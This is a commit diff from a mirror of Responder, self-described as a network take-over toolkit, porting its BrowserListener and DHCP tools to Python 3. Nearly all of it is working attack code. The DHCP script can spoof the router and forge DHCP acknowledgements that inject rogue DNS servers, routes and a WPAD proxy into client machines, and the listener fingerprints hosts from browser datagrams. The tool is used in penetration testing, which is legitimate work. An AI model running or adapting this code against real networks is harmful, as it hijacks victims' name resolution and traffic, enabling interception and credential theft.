mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-14 02:27:12 -07:00
Added py3 and py2 compatibility + many bugfix
This commit is contained in:
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -16,103 +16,103 @@
|
|||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import os
|
||||
import thread
|
||||
import _thread
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
sys.path.insert(0, BASEDIR)
|
||||
|
||||
from servers.Browser import WorkstationFingerPrint, RequestType, RAPThisDomain, RapFinger
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from socketserver import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from threading import Lock
|
||||
from utils import *
|
||||
|
||||
def ParseRoles(data):
|
||||
if len(data) != 4:
|
||||
return ''
|
||||
if len(data) != 4:
|
||||
return ''
|
||||
|
||||
AllRoles = {
|
||||
'Workstation': (ord(data[0]) >> 0) & 1,
|
||||
'Server': (ord(data[0]) >> 1) & 1,
|
||||
'SQL': (ord(data[0]) >> 2) & 1,
|
||||
'Domain Controller': (ord(data[0]) >> 3) & 1,
|
||||
'Backup Controller': (ord(data[0]) >> 4) & 1,
|
||||
'Time Source': (ord(data[0]) >> 5) & 1,
|
||||
'Apple': (ord(data[0]) >> 6) & 1,
|
||||
'Novell': (ord(data[0]) >> 7) & 1,
|
||||
'Member': (ord(data[1]) >> 0) & 1,
|
||||
'Print': (ord(data[1]) >> 1) & 1,
|
||||
'Dialin': (ord(data[1]) >> 2) & 1,
|
||||
'Xenix': (ord(data[1]) >> 3) & 1,
|
||||
'NT Workstation': (ord(data[1]) >> 4) & 1,
|
||||
'WfW': (ord(data[1]) >> 5) & 1,
|
||||
'Unused': (ord(data[1]) >> 6) & 1,
|
||||
'NT Server': (ord(data[1]) >> 7) & 1,
|
||||
'Potential Browser': (ord(data[2]) >> 0) & 1,
|
||||
'Backup Browser': (ord(data[2]) >> 1) & 1,
|
||||
'Master Browser': (ord(data[2]) >> 2) & 1,
|
||||
'Domain Master Browser': (ord(data[2]) >> 3) & 1,
|
||||
'OSF': (ord(data[2]) >> 4) & 1,
|
||||
'VMS': (ord(data[2]) >> 5) & 1,
|
||||
'Windows 95+': (ord(data[2]) >> 6) & 1,
|
||||
'DFS': (ord(data[2]) >> 7) & 1,
|
||||
'Local': (ord(data[3]) >> 6) & 1,
|
||||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||
}
|
||||
AllRoles = {
|
||||
'Workstation': (ord(data[0]) >> 0) & 1,
|
||||
'Server': (ord(data[0]) >> 1) & 1,
|
||||
'SQL': (ord(data[0]) >> 2) & 1,
|
||||
'Domain Controller': (ord(data[0]) >> 3) & 1,
|
||||
'Backup Controller': (ord(data[0]) >> 4) & 1,
|
||||
'Time Source': (ord(data[0]) >> 5) & 1,
|
||||
'Apple': (ord(data[0]) >> 6) & 1,
|
||||
'Novell': (ord(data[0]) >> 7) & 1,
|
||||
'Member': (ord(data[1]) >> 0) & 1,
|
||||
'Print': (ord(data[1]) >> 1) & 1,
|
||||
'Dialin': (ord(data[1]) >> 2) & 1,
|
||||
'Xenix': (ord(data[1]) >> 3) & 1,
|
||||
'NT Workstation': (ord(data[1]) >> 4) & 1,
|
||||
'WfW': (ord(data[1]) >> 5) & 1,
|
||||
'Unused': (ord(data[1]) >> 6) & 1,
|
||||
'NT Server': (ord(data[1]) >> 7) & 1,
|
||||
'Potential Browser': (ord(data[2]) >> 0) & 1,
|
||||
'Backup Browser': (ord(data[2]) >> 1) & 1,
|
||||
'Master Browser': (ord(data[2]) >> 2) & 1,
|
||||
'Domain Master Browser': (ord(data[2]) >> 3) & 1,
|
||||
'OSF': (ord(data[2]) >> 4) & 1,
|
||||
'VMS': (ord(data[2]) >> 5) & 1,
|
||||
'Windows 95+': (ord(data[2]) >> 6) & 1,
|
||||
'DFS': (ord(data[2]) >> 7) & 1,
|
||||
'Local': (ord(data[3]) >> 6) & 1,
|
||||
'Domain Enum': (ord(data[3]) >> 7) & 1,
|
||||
}
|
||||
|
||||
return ', '.join(k for k,v in AllRoles.items() if v == 1)
|
||||
return ', '.join(k for k,v in list(AllRoles.items()) if v == 1)
|
||||
|
||||
|
||||
class BrowserListener(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data, socket = self.request
|
||||
def handle(self):
|
||||
data, socket = self.request
|
||||
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
DataOffset = struct.unpack('<H',data[139:141])[0]
|
||||
BrowserPacket = data[82+DataOffset:]
|
||||
ReqType = RequestType(BrowserPacket[0])
|
||||
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
Domain = Decode_Name(data[49:81])
|
||||
Name = Decode_Name(data[15:47])
|
||||
Role1 = NBT_NS_Role(data[45:48])
|
||||
Role2 = NBT_NS_Role(data[79:82])
|
||||
Fprint = WorkstationFingerPrint(data[190:192])
|
||||
Roles = ParseRoles(data[192:196])
|
||||
|
||||
print text("[BROWSER] Request Type : %s" % ReqType)
|
||||
print text("[BROWSER] Address : %s" % self.client_address[0])
|
||||
print text("[BROWSER] Domain : %s" % Domain)
|
||||
print text("[BROWSER] Name : %s" % Name)
|
||||
print text("[BROWSER] Main Role : %s" % Role1)
|
||||
print text("[BROWSER] 2nd Role : %s" % Role2)
|
||||
print text("[BROWSER] Fingerprint : %s" % Fprint)
|
||||
print text("[BROWSER] Role List : %s" % Roles)
|
||||
print(text("[BROWSER] Request Type : %s" % ReqType))
|
||||
print(text("[BROWSER] Address : %s" % self.client_address[0]))
|
||||
print(text("[BROWSER] Domain : %s" % Domain))
|
||||
print(text("[BROWSER] Name : %s" % Name))
|
||||
print(text("[BROWSER] Main Role : %s" % Role1))
|
||||
print(text("[BROWSER] 2nd Role : %s" % Role2))
|
||||
print(text("[BROWSER] Fingerprint : %s" % Fprint))
|
||||
print(text("[BROWSER] Role List : %s" % Roles))
|
||||
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
RAPThisDomain(self.client_address[0], Domain)
|
||||
|
||||
lock.release()
|
||||
lock.release()
|
||||
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
def server_bind(self):
|
||||
self.allow_reuse_address = 1
|
||||
UDPServer.server_bind(self)
|
||||
def server_bind(self):
|
||||
self.allow_reuse_address = 1
|
||||
UDPServer.server_bind(self)
|
||||
|
||||
def serve_thread_udp_broadcast(host, port, handler):
|
||||
try:
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
||||
try:
|
||||
server = ThreadingUDPServer(('', port), handler)
|
||||
server.serve_forever()
|
||||
except:
|
||||
print("Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
print "Listening for BROWSER datagrams..."
|
||||
thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
|
||||
try:
|
||||
print("Listening for BROWSER datagrams...")
|
||||
_thread.start_new(serve_thread_udp_broadcast,('', 138, BrowserListener))
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
while True:
|
||||
time.sleep(1)
|
||||
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r Exiting...")
|
||||
except KeyboardInterrupt:
|
||||
sys.exit("\r Exiting...")
|
||||
|
|
453
tools/DHCP.py
453
tools/DHCP.py
|
@ -1,5 +1,5 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
|
@ -17,7 +17,7 @@
|
|||
import sys
|
||||
import struct
|
||||
import optparse
|
||||
import ConfigParser
|
||||
import configparser
|
||||
import os
|
||||
|
||||
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
|
||||
|
@ -39,40 +39,40 @@ parser.add_option('-R', action="store_true", help="Respond to DH
|
|||
options, args = parser.parse_args()
|
||||
|
||||
def color(txt, code = 1, modifier = 0):
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
|
||||
|
||||
if options.Interface is None:
|
||||
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
|
||||
exit(-1)
|
||||
print(color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface.")
|
||||
exit(-1)
|
||||
elif options.RouterIP is None:
|
||||
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
|
||||
exit(-1)
|
||||
print(color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP.")
|
||||
exit(-1)
|
||||
elif options.DNSIP is None:
|
||||
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
print(color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
elif options.DNSIP2 is None:
|
||||
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
|
||||
exit(-1)
|
||||
print(color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
print '#############################################################################'
|
||||
print '## DHCP INFORM TAKEOVER 0.2 ##'
|
||||
print '## ##'
|
||||
print '## By default, this script will only inject a new DNS/WPAD ##'
|
||||
print '## server to a Windows <= XP/2003 machine. ##'
|
||||
print '## ##'
|
||||
print '## To inject a DNS server/domain/route on a Windows >= Vista and ##'
|
||||
print '## any linux box, use -R (can be noisy) ##'
|
||||
print '## ##'
|
||||
print '## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##'
|
||||
print '#############################################################################'
|
||||
print ''
|
||||
print color('[*]', 2, 1), 'Listening for events...'
|
||||
print('#############################################################################')
|
||||
print('## DHCP INFORM TAKEOVER 0.2 ##')
|
||||
print('## ##')
|
||||
print('## By default, this script will only inject a new DNS/WPAD ##')
|
||||
print('## server to a Windows <= XP/2003 machine. ##')
|
||||
print('## ##')
|
||||
print('## To inject a DNS server/domain/route on a Windows >= Vista and ##')
|
||||
print('## any linux box, use -R (can be noisy) ##')
|
||||
print('## ##')
|
||||
print('## Use `RespondTo` setting in Responder.conf for in-scope targets only. ##')
|
||||
print('#############################################################################')
|
||||
print('')
|
||||
print(color('[*]', 2, 1), 'Listening for events...')
|
||||
|
||||
config = ConfigParser.ConfigParser()
|
||||
config = configparser.ConfigParser()
|
||||
config.read(os.path.join(BASEDIR,'Responder.conf'))
|
||||
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
|
||||
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
|
||||
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
|
||||
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
|
||||
Interface = options.Interface
|
||||
Responder_IP = FindLocalIP(Interface, None)
|
||||
ROUTERIP = options.RouterIP
|
||||
|
@ -86,233 +86,232 @@ Spoof = options.Spoof
|
|||
Respond_To_Requests = options.Respond_To_Requests
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
DHCPSERVER = ROUTERIP
|
||||
|
||||
##### IP Header #####
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
|
||||
class UDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x11\x22\x33\x44"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", ""), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", ""), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = socket.inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = socket.inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = socket.inet_aton(DNSIP)+socket.inet_aton(DNSIP2)
|
||||
self.fields["Op15Str"] = DNSNAME
|
||||
self.fields["Op252Str"] = WPADSRV
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(str(self.fields["Op15Str"])))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(str(self.fields["Op252Str"])))
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
return ROUTERIP if Spoof else Responder_IP
|
||||
|
||||
def RespondToThisIP(ClientIp):
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
elif RespondTo and ClientIp not in RespondTo:
|
||||
return False
|
||||
elif ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
return False
|
||||
if ClientIp.startswith('127.0.0.'):
|
||||
return False
|
||||
elif RespondTo and ClientIp not in RespondTo:
|
||||
return False
|
||||
elif ClientIp in RespondTo or RespondTo == []:
|
||||
if ClientIp not in DontRespondTo:
|
||||
return True
|
||||
return False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
SrcIP = socket.inet_ntoa(data[0][26:30])
|
||||
DstIP = socket.inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP, SrcPort, DstIP, DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = socket.inet_ntoa(data[12:16])
|
||||
RequestedIP = socket.inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr).upper()
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
|
||||
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = socket.inet_ntoa(IP)
|
||||
if RespondToThisIP(IPConv):
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
|
||||
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
# DHCP Inform
|
||||
if OpCode == "\x08":
|
||||
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
|
||||
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
|
||||
GiveClientIP=socket.inet_aton("0.0.0.0"),
|
||||
NextServerIP=socket.inet_aton("0.0.0.0"),
|
||||
RelayAgentIP=socket.inet_aton("0.0.0.0"),
|
||||
ElapsedSec=Seconds)
|
||||
Packet.calculate()
|
||||
Buffer = UDP(Data = Packet)
|
||||
Buffer.calculate()
|
||||
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
|
||||
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
|
||||
